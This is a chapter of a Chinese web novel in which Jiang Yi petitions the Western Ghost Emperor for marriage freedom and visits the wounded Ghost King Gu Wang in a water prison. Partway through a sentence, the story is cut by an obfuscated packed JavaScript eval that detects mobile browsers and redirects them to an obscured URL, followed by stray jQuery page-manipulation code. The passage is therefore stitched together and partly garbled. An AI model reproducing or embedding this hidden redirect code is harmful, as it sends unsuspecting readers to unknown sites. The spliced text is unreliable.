西鬼地府坐落在嶓冢山山巅,东西两边流淌着两条流向完全相反的河流。
姜夷随寒渊达到鬼帝府时,周遭安静无声,但庄严的府邸大门开着,能看见府内曲径通幽的中式庭院。
“奇怪,西鬼帝府喜欢清幽,常年闭门谢客,今日怎么房门大敞?”寒渊觉得奇怪。
姜夷就更不明白缘由了,“要不你先给你家爷传个音?”
寒渊觉得有理,抬起手就准备通信,结果指尖还没抵上太阳穴,门内突然传来声音:“二位,也是想求婚姻自由吗?”
姜夷抬眼望去,只见门口站着两名看不出年纪的俊美男子,白衣长衫,端方挺拔,长发飘飘,浑身不见鬼气,宛如天神下凡。
问话的是立于左后位置,更为年轻也更为瘦弱的黑发鬼使,在他稍微右前方位置的是比他更为宽阔,也更为泰然的白发鬼使。
寒渊闻声毕恭毕敬放下手,欲上前应话,姜夷见状,抢先跨步向前,拱手回答:“秉鬼使,我等正是为此而来。”
寒渊心下诧然,微微瞧了一眼姜夷装若寻常的背影,只好默认地弯腰行礼,不置一词。
“哦?那你们可曾听说,此前为此而来的亡魂是何下场?”黑发鬼使说话时微微仰起脖子,再加上他们立于台阶之上,无端带着一种极强的威压。
姜夷不敢抬头直视他们,继续埋头回应,“小魂知道,但小魂以为,贵府大开房门,便是鼓励我等上门谏言,既如此,小魂便直言所求了。”
“哈哈哈哈哈,”立于右侧的白发鬼使这才大笑了一声,温声道:“你很敢说,但你不怕你的猜测是错的吗?”
她当然怕,且如他所说,她只是猜测。
寒渊方才说此处常年闭门谢客,今日却一反常态,且鬼使似乎候在门口,未等她们敲门,先一步出来,姜夷猜,鬼帝府内部因为这番波折,对这件事,有了态度上的转变,才等着锲而不舍之人前来,下这步台阶。
她愿意也非常渴求获得这步台阶,自然懂得顺杆而上。
但她没有把这些都说出来,而是奉承道:“小魂相信帝君大人英明神武,定会做出正确的决定,也相信鬼王殿下的不懈努力,一定会换来好结果。”
话音落上,台上两人没有立即接话,而是目光来回游移在姜夷和寒渊身上,打量扫视。
“哦,我认出你了,”片刻后,左边的白衣鬼使目光落在寒渊身上,“你是鬼王殿日巡使,你们其实是为了鬼王来的吧?”
寒渊被点到,底气不足地将腰弯得更低些,“求鬼帝放了我家鬼爷。”
他把头埋在臂弯里,根本看不清他的神色。
二位鬼使也不在他身上多观察,又将目光移向一旁不卑不亢的姜夷身上。
“那你就是说谎了。”白衣鬼使声音沉了下去,霎时间,一股贯彻肺腑的肃杀之气蔓延开来,姜夷觉得鬼体都在灼烧,身后的寒渊也明显有所不适,拱手弯腰的姿势有些发颤。
鬼使发怒了,这股压迫的力量明显是对方发出来了。
姜夷很难受,但她没有表现出慌乱,只缓缓跪地,“姜夷没有说谎,联名上书之事是我的主意,是苏瞳姐妹们身先士卒,替我挡了责罚,但此事姜夷和千千万万的姐妹永远不会放弃,为此,姜夷欺骗了寒渊巡使,是我以救鬼爷之名,骗他带我攀上嶓冢山,姜夷有罪,请责罚我,但姜夷万死请求帝君大人推动地府婚姻自由,解救万千姐妹。”
姜夷说完重重叩首下去。
寒渊完全跟不上姜夷的思路,见她跪下去,他也没头没脑地跟着跪了下去。
姜夷没有抬头,看不见台阶之上两人的反应,周围风声很小,静到落针可闻。
她很紧张,她对鬼帝目前的态度并不了解,但如无常所言,苏瞳等人先后拜访了其他三方鬼帝后,一直蹲守在这里,那她是不是可以推测,她们在其他三处已经得到了肯定,所以才会一直守在这里?
苏瞳他们并未见到西鬼帝,如今鬼帝回来了,他是否也会如其他几位一样做出同样的考虑?
可面对未知终究是没底的,姜夷心跳停了,但心慌仍旧存在,她极力忍住心中惶然,静静等着上位者的回音。
好像过了很久,又好似只是片刻,一段清脆掌声打破了无声的寂静。
“姜夷?我记住你了,”白发鬼使声音恢复了温和,“此事看似壮举,实则豪赌,既是你的主意,那你能承担其中的利害吗?”
利害?丛月姐姐上门后,她就考虑过这个问题的,只是……
姜夷直起上半身,双腿依然跪着,“姜夷无能,区区小鬼,无法遑论一己承担,万望鬼帝府费心,姜夷愿意配合一切事项,万死不辞。”
“哈哈哈哈,你很会说谎,也很会说实话,”白衣鬼使踏出门来,黑衣鬼使紧随其后,两人来到姜夷身前,“抬起头来。”
姜夷听命,抬头望他,白衣鬼使就立在她跟前,她终于可以近距离观望他——
星眉剑目,俊美异常,果然如仙人下凡,姜夷不禁被眼前之人的美貌迷住。
但那白衣鬼使睨着她看了半晌,忽然勾了勾唇,嗤笑一声,“好了,去见小顾吧。”
说完他提步离去,边走边吩咐身后之人,“姜姑娘之事,你等尽力配合。”
“是。”黑衣鬼使尊敬领命。
白衣鬼使声音缥缈落下之际,姜夷反应过来,弯腰叩首,扬声致谢:“多谢帝君大人,姜夷替万千姐妹,感谢大人。”
帝君大人?寒渊闻言来不及思考,立即弯腰拱手,以示尊敬。
寒渊跟随顾妄千年,接手过帝君派发的任务,却从未见过帝君真人,没曾想这位白发使者居然就是帝君本尊?!他恍思刹那终于明白其中道理。
能指挥西鬼帝府鬼使行事,又称呼鬼爷为小顾的,若非帝君本人,又能是谁呢?
可惜他一直埋首垂目,依旧不曾目睹帝君真容。
愣神间,黑发鬼使简单介绍,径直带其前往鬼帝府水牢。
西鬼帝府居山邻水,水牢自然是最好的刑罚选择。
姜夷上次跟顾妄进入过森然的鬼王殿刑房,对这种血腥骇然的地方还心有余悸,步子明显放缓了不少。
好在鬼帝府的刑房似乎并没有鬼王殿的恐怖,门内灯光大亮,没有血迹斑斑,也没有撕心裂肺的鬼叫,甚至安静地出奇。
“抱歉二位,在下还有事在身,接下来就恕不奉陪了。”黑衣鬼使停在门口。
姜夷有些恍神,哪有进牢房让自己摸索的?鬼帝府这么多人,哪怕随便派个小鬼领路也好啊,虽觉异常,但她不敢贸然质疑,只好弯腰拱手,客气致谢,随寒渊自行前往。
鬼帝府的水牢并不大,仅有的几间牢房也大多闲置,只有最里面的两间牢房各押一人。
姜夷视力并不算好,但她遥遥一望,便清晰认出,左边牢房内,双眼紧闭虚坐在黑色刺骨的水中,捂着腹部靠在石墙上的玄袍青年,就是她们此行的目标——鬼王顾妄。
姜夷不自觉加快了步子,朝目的地前去。
她脚步在牢房门口停下,里面之人却依然眯着眼,似乎陷入了昏迷。
她没有立马出声喊他,只隔窗凝视了对方良久——
他今日没有穿西装,而是一身红边玄底的利落长袍,搭配鹿皮短靴,那是具有地府特色的宋制装扮,本身自带肃杀,现在因为受伤,腹部溢出大量献血,陡增几分诡谲之气。
目光上移,他柔软微卷的白色长发由一根蛇形银饰微微固定,惨白面容沾着几滴干涸殷红的血迹,锋利分明的脸庞,精致疏离的五官,因为双眼微阖显得更加柔和。
这才是鬼王本尊真正的样子吗?
他看起来很难受的样子,但薄薄的嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15160697|161816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角却噙着一丝笑意。
姜夷久久注视,一动不动,直到旁边牢房的人出声,她才恍然回神。
“别担心,鬼爷洪福齐天,不会因为小小枪罚殒灭。”
对方五官端正,坐姿他挺拔,同样没有任何鬼魅的痕迹,长发飘飘,广袖长袍,跟方才送他们进来的鬼使装扮如出一辙。
他衣衫整洁,发型一丝不苟,一点不像阶下囚,反而像来此体验生活的贵公子,但在姜夷看不到的背部,已有血迹蔓延到了腰侧,只是不易察觉罢了。
姜夷静静盯着他,他也礼貌微笑着回应她。
“枪罚?”姜夷愣愣问道。
寒渊解释道:“长□□腹,根据罪罚程度不同,刑罚十枪到百枪不等。”
姜夷背脊发凉,“所以,他…至少受了十枪?”
“三十枪,你家鬼爷极力主张婚姻自由,一力承担可能带来的所有责任,这点处罚只是前菜而已,以后才是更大的苦难。”那人盘坐在冰冷的石板上,斯文地理了理衣衫。
“三十枪?!”寒渊也震惊地瞪大了眼睛,随即蹲下来,伸手胡乱检查顾妄的伤势,焦急地输出自己还算过硬的鬼力为他治疗。然而他那点力量。对于来自鬼帝府的惩罚,不过杯水车薪,难以起效。
姜夷看着他的反应,良久才沙哑开口,“他是为此受罚?”
对方依然礼貌微笑,却没有开口应她。
“看来不是了,方才鬼使临到门口,又寻了托辞离去,明显是不打算释放鬼爷,这与帝君差其配合我等诉求的命令相悖,可见鬼爷并不是为此受罚。那又是为什么呢?就因为他处罚了你?”
姜夷最后一句问得很唐突,甚至带着几分怨怼。
对方礼貌的笑容滞了一瞬,才探究道:“姑娘就是鬼爷所求之人?”
他莫名奇妙扯了一句其他的,姜夷皱眉,他又扯开嘴角低笑了一声,再温声道,“果真冰雪聪明。的确,帝君并非为此惩罚他,而是因为鬼王殿管辖地府治安不力,地狱逃犯久未抓捕归案,还出现了黄泉口这般恶性事件,自然是要受罚。
当然,我动手打伤弱势女鬼,确实有罪,我接受鬼爷的教训。但鬼帝不是是非不分之人,绝非因为我迁怒于人,还请姑娘放心,鬼爷处罚结束,自然会放他回去。”
果然,他就是无常所说的鬼帝府打伤苏瞳等人的鬼使,姜夷并不关心他受了什么教训,只垂目看着顾妄。
“还有多久?他这样……”姜夷想问“会不会很疼”,可话到嘴边还是换成了——“什么时候才能醒过来?”
“枪罚之后,是水刑,水刑最低七日,今天是第一日,姑娘可以在府上住下,七天很快就过去了。”
·
水牢中的鬼使乃西鬼帝座下第一鬼使,虽然受了罚,却并未被革职,依了他的吩咐,姜夷和寒渊很顺利地住进了嶓冢山。
这几日寒渊一直守在顾妄身边,姜夷在系统的叨叨中,忙着推动更多美妆店开业,只有每日傍晚去看望他一眼。
就这样过了三天,顾妄终于醒了过来,结果睁眼看到的是焦急侯在一旁的寒渊,他没有丝毫感动,相反面带愠色,简单问了两句,就催他回到了姜夷身边。
正在核对积分兑换物品的姜夷,这才知道顾妄醒了。
她放下手中的事,当即去了水牢,但是,走到门口时,她突然停下了步子,“寒渊巡使,有点冷,能麻烦你回我住的地方,取两件外套过来吗?”
寒渊眉头微蹙,他难以理解鬼哪有怕冷的,但他这几日见识了姜夷的机敏,什么也没多问,听命转身回了鬼帝府别院。
眼看寒渊身影远去,姜夷终于忍不住证实自己心中的疑惑。
她进入水牢,站在能看见顾妄的位置,隐在石柱后方,摸出了她破旧的手机。
她目光紧紧落在顾妄身上,拨通了姜游的号码。